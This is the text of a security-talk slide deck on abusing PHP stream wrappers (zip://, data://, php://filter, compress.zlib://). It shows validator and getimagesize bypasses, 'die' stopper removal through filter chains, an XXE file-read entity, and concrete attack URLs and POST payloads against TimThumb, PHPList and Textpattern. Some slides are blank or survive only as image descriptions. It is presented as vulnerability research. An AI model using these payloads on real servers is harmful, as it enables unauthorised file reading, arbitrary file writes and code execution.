

# PHP Wrappers

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# Streams

## Streams



# Data reading

## Wrappers

```
$handle = fopen($file, "rb");  
while (!feof($handle))  
{  
    $contents .= fread($handle, 8192);  
}  
fclose($handle);
```

**You can get data not only from local files!**

```
$file = 'ftp://user:password@10.0.0.1/pub/file.txt';
```

```
$file = 'http://127.0.0.1/server-status';
```

```
$file = 'php://fd/XXX';
```

```
$file = 'expect://ls';
```



# Data writing

## Read the file

```
copy ('/etc/passwd' , 'php://output');  
file_put_contents('php://output', file_get_contents('/etc/hosts'));
```

## Modify the file, and then write it to the disk

```
move_uploaded_file($_FILES["attach"]["tmp_name"],  
    "php://filter/string.rot13/resource=./upload/user_attach");
```

## Write data into Apache error\_log (PHP >= 5.3.6)

```
error_log ('Bypass root perm!', 3, 'php://fd/2');
```



# Wrapper zip://

- ☰ **Requirements: PHP is compiled with zip support.**
- ☰ **You can use zip:// wrapper in case allow\_url\_fopen = Off.**
- ☰ **zip:// wrapper allows you to access file inside the archive with an arbitrary name.**

```
$zip = new ZipArchive;  
  
if ( $zip->open('/tmp/any_name_zip_arxiv',1) )  
{  
    $zip->addFromString( '/my/header.html', '<?php print_r(ini_get_all());' );  
}  
$zip->close();  
  
print file_get_contents('zip:///tmp/any_name_zip_arxiv#/my/header.html');
```



# NULL Byte Replacement

```
$s = $_POST['path'];  
include $s./header.html';
```

- allow\_url\_include directive restricts the usage of http:// ftp:// data:// wrappers.
- magic\_quotes\_gpc directive restricts the usage of NULL byte in local files including.

- If you can create a zip archive, you can use zip:// wrapper:

```
path=zip:///tmp/any_name_zip_arxiv#/my
```

This is effective if allow\_url\_fopen=Off and magic\_quotes\_gpc=On

- An arbitrary archive name allows you to use temporary files created while content loading.

Use hpinfo() to get temporary file path:

<https://rdot.org/forum/showthread.php?t=1134>



# Wrapper data:// (RFC 2397)

## Description

The *data:* ([» RFC 2397](#)) stream wrapper is available since PHP 5.2.0.

## Options

- `data://text/plain;base64,`

☰ **According to RFC 2379, data:// wrapper supports more extended syntax:**

```
dataurl := "data:" [ mediatype ] [ ";base64" ] "," data
mediatype := [ type "/" subtype ] * ( ";" parameter )
data := *urlchar
parameter := attribute "=" value
```

☰ **Wrapper feature: mediatype can be absent or can be filled in by arbitrary values:**

```
data://anytype/anysubtype;myattr!=V@!;!youattr?=Op$;base64
```



# Trick: function stream\_get\_meta\_data

stream\_get\_meta\_data — Retrieves header/meta data from streams/file pointers

## Description

```
array stream_get_meta_data ( resource $stream )
```

Returns information about an existing *stream*.

## Modify array items returned by stream\_get\_meta\_data

```
$password = 'secret';  
$file = $_POST['file'];  
$fp = fopen( $file, 'r');  
extract(stream_get_meta_data($fp));  
if ( $mediatype === 'text/plain' ) { ... }  
if ( $_COOKIE['admin'] === $password ) { ... }
```

Rewrite `$password` variable

POST DATA: file=data://text/plain;password=mysecret;base64,

Bypass authorization: Cookie: admin=mysecret





## Wrapper compress.zlib://

-  **compress.zlib:// wrapper does not modify ordinary file content**

```
readfile('compress.zlib:///etc/hosts');
```

-  **Local file path can include arbitrary folders name**

```
$url = 'compress.zlib:///http://../etc/hosts';  
if (preg_match('/http:\\/\\/', $url) == true)  
{  
    echo "Yes!";  
}
```



# Any Data in parse\_url

## parse\_url function handles not only URLs

```
$url_info = parse_url($_POST['src']);  
  
if ($url_info['host'] === 'img.youtube.com')  
{  
    $name = str_replace('/', '', substr($url_info['path'], 4));  
    copy( $src, './'.$name );  
}
```

## Loading images from img.youtube.com:

POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg

## Bypass host name checks and create arbitrary files:

POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZIIFBIUAo

## Local File Manipulation:

POST DATA: src=compress.zlib://img.youtube.com/../../path/to/local/file;



# Bypass preg\_match validate

## Filter bypass based on preg\_match

POST DATA: src=data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo

POST DATA: src=compress.zlib://youtube.com/../../../../path/to/local/file

```
function validate_url ($url)
{
    $pattern =
        "/\b(?:(:https?):\/\/|www\.)[-a-z0-9+&@#\%?=\~_!|:,;]*[-a-z0-9+&@#\%=\~_!|]/i";
    return preg_match ($pattern, $url);
}


```



# Arbitrary File Loading in TimThumb

 **TimThumb** is a popular script used for image resize.

Public Exploit for v 1.32 (08/2011): <http://www.exploit-db.com/exploits/17602>

**New Wrappers Exploit for v1.34 (revision 145)**

```
function check_external ($src) {  
    .....  
    if (!validate_url ($src)) display_error ('invalid url');  
    $url_info = parse_url ($src);  
    .....  
    if ($url_info['host'] == 'www.youtube.com' || ...) parse_str($url_info['query']);  
    .....  
    $fh = fopen($local_filepath, 'w');  
    $ch = curl_init($src);  
    .....  
    $files_infos = getimagesize ($local_filepath);  
  
    if (empty($file_infos['mime']) || .....) unlink($local_filepath);  
    .....  
}
```

[http://www.youtube.com/?local\\_filepath=php://filter/resource%3D./path/to/.php  
&url\\_info\[host\]=img.youtube.com&src=http://mysite.com/thumb.txt](http://www.youtube.com/?local_filepath=php://filter/resource%3D./path/to/.php&url_info[host]=img.youtube.com&src=http://mysite.com/thumb.txt)



# File Manipulation in TimThumb v1.35

☰ Requirements: curl\_init function is disabled on the target server.

```
.....  
    if (!$img = file_get_contents ($src)) {  
        display_error ('error....');  
    }  
    if (file_put_contents ($local_filepath, $img) == FALSE)  
{  
        display_error ('error.....');  
    }  
.....
```

☰ Create a file with arbitrary content:

**<data://img.youtube.com/e;charset=http://w?&var=;base64,SSBsb3ZIIFBIUAo>**

«Read» local file:

**<compress.zlib://youtube.com/../../http://?/../../path/to/local/file>**



# Secret features of php://filter wrapper

- php://filter allows users to filter streams while opening.

Filter the file content:

```
readfile('php://filter/read=string.toupper|anyfilter|string.rot13/resource=./file.php');
```

- Unknown filter does not influence the results of other filters.
- convert.base64-decode and string.strip\_tags filters can delete data from the stream.

Stephan Esser used convert.base64-decode filter features in an exploit for Piwik in 2009:  
<http://sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability>

Since 2009, two important questions are not solved:

- How to delete «unused» data?
- What are the advantages of filters?




# Base64 algorithm: encoding

☰ RFC 2045, section 6.8 describes Base64 algorithm.


☰ Base64 alphabet:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'



# Base64 algorithm: decoding

- While decoding, only characters of base64 alphabet are handled.
- The input string is divided into parts by 4 characters, every part is handled separately.





## Example. "Intrusion" of stopper

 You can delete some data using `base64_decode` several times.

```
$content = "<? die; ?>\n";  
$content .= "[/Ly8vVTFOQ1RXSXpXbXhKUmtKSIZVRTIQU09]\n";  
$file = 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode  
/resource=./PoC';  
file_put_contents($file, $content);
```

"Stub": `/Ly8v ( base64_decode('Ly8v') == '////' )`

 `convert.base64-decode` filter does not handle strings with equal sign in the middle.


```
$$s = 'php://filter/read=convert.base64-decode/resource=data:,dGVzdA==CRAP';  
var_dump(file_get_contents($s)); // print: string(0) ""
```



# Filter string.strip\_tags

 Filter string.strip\_tags speeds up the "extrusion" process

```
$content = "<? die; ?>\n";  
$content .= "=3C=3Fprint('PHP');\n";  
$file = 'php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=../PoC';  
file_put_contents($file, $content);
```

 convert.quoted-printable-decode filter handles strings symbol by symbol. Characters in Quoted-Printable ( RFC2045, 6.7 chapter) format are modified into characters of 8 bit code page.

Modification into Quoted-Printable format.

```
$quoted_printable_lt = '='.strtoupper(dechex(ord('<')));
```

 convert.quoted-printable-decode filter is not effective if the string does not include an equal sign followed by hexadecimal character code.

```
$s = 'php://filter/read=convert.quoted-printable-decode/resource=data:,dGVz=CRAP';  
var_dump(file_get_contents($s)); // print: string(0) ""
```



# TextPattern: Upload Arbitrary Files (I)

## What is Textpattern?

---

Textpattern is an open source content management system unlike any other; it allows you to easily create, edit and publish content and make it beautiful in a professional, standards-compliant manner.

≡ **File with .php extension stores information about comments' authors.**

```
$file = $prefs['tempdir'].DS.'evaluator_trace.php';
if (!file_exists($file)) {
    $fp = fopen($file, 'wb');
    if ($fp)
        fwrite($fp, "<?php return; ?>\n".
            "This trace-file tracks saved comments. (created ".
            safe_strftime($prefs['archive_dateformat'],time()).")\n".
            "Format is: Type; Probability; Message ".
            "(Type can be -1 => spam, 0 => moderate, 1 => visible)\n\n");
}
```



# TextPattern: Upload Arbitrary Files (I)



# Partial File Reading in PHPList <= 2.10.13 (I)

☰ The reason is a possibility to modify the structure of `$_FILES` array  
<http://isisblogs.poly.edu/2011/08/11/php-not-properly-checking-params/>

```
if (is_array($_FILES)) { ## only avatars are files
    foreach ($_FILES['attribute']['name'] as $key => $val) {
        if (!empty($_FILES['attribute']['name'][$key])) {
            $tmpnam = $_FILES['attribute']['tmp_name'][$key];
            $size = $_FILES['attribute']['size'][$key];
            if ($size < MAX_AVATAR_SIZE) {
                $avatar = file_get_contents($tmpnam);
                Sql_Query(sprintf('replace into %s (userid,attributeid,value)
values(%d,%d,"%s")', $tables["user_attribute"], $id, $key, base64_encode($avatar)));
            }
        }
    }
}
```

☰ The follow HTML form allows an attacker to upload files into a database.

```
<form action="http://localhost/lists/admin/?page=user&id=1" method="POST"
enctype="multipart/form-data" >
<input type="file" name="attribute[tmp_name][]" >
<input type="file" name="attribute[size][]" >
<input type="file" name="attribute[[tmp_name]]" >
<input type="file" name="attribute[name][]" >
<input name="change" value="Save Changes" type="submit" >
</form>
```



# Partial File Reading in PHPList <= 2.10.13 (II)



# getimagesize check bypass (I)

With filters, you manage not only to delete stoppers but also modify images checked on the basis of getimagesize function.

If you manage to inject data into EXIF image

The screenshot shows a web browser window with a blue title bar and a white background. The address bar contains a URL with a long string of characters including 'new\_image - Программа про...'. The page content is mostly obscured by a large, dense block of black text representing a bypass payload. To the right of the browser, a window titled 'new\_image - Программа про...' displays a painting of an elderly man in a military cap and uniform, holding a rifle. The painting has a yellowish background and red text that reads 'БУДЬ ЗОРКИМ НА ПОСТУ!'. Below the painting, there is more black text, likely representing the image's EXIF data or other content that was bypassed.



# getimagesize check bypass (II)

```
extract($_REQUEST);
....
include $templatdir.'/header.html';
....
if (!empty($_FILES) ) {
    $file_info = getimagesize($_FILES['image']['tmp_name']);
    if($file_info['mime'] == 'image/jpeg')
    {
        if ( move_uploaded_file( $_FILES['image']['tmp_name'], $folder.'/avatar.jpg' ) )
    }
}
.....
```

☰ **Load an image, but a zip archive with /my/header.html file is stored on the server.**

folder=php://filter/write=string.strip\_tags|convert.base64-decode/resource=/tmp/


☰ **Add the file into the zip archive**

templatdir=zip:///tmp/avatar.jpg#/my





# Files with arbitrary content



**If you manage to create a file with arbitrary content, you can:**

- create a session file and exploit the unserialize bug via `session_start()`;**
- create a zip archive and exploit RFI;**
- create/rewrite files `htaccess/htpasswd`;**
- create or rewrite templates.**



# parse\_ini\_file attack

 **parse\_ini\_file function handles local files only.**

```
session_start();
$_SESSION['admin'] = $_POST['name'];
.....
$var = parse_ini_file($infile);
require $var['require'];
```

 **Create session file /tmp/sess\_dffdsdf24gssdgsd90**

admin|s:68:"Ly8vVnpOYWFHTnNNR XRqYIZaNFpGZHNI VnBVTUdsTU1sWXdXWGs1YjJJelRqQmplVWs5"

 **With filters, transform the session file into format suitable for parse\_ini\_file function.**

```
php://filter/read=convert.base64-decode|convert.base64-decode|
convert.base64-decode/resource= /tmp/sess_dffdsdf24gssdgsd90
```



# XXE Attack

☰ Read files via XML Injection.

```
<?xml version='1.0'?>
<!DOCTYPE scan
[
  <!ENTITY test SYSTEM "php://filter/read=convert.base64-
encode/resource=http://127.0.0.1/server-status">
]>
<scan>&test;</scan>
```

☰ simplexml\_load\_file function and DOMDocument::load method supports wrappers.

**allow\_url\_fopen = Off**



# Limitations for the usage of wrappers

## 수호신

- By default, you are not allowed to use wrappers in includes with installed Suhosin (even if `allow_url_include = On`).

For example, `zip://` wrapper is available as soon as whitelist includes it:

```
suhosin.executor.include.whitelist = "zip"
```

- `file_exists`, `is_file`, `filesize` functions return **FALSE** in case wrappers `php://filter`, `zip://`, `data://` are used as file names.



**Thank you for your  
attention!**

**Questions?**

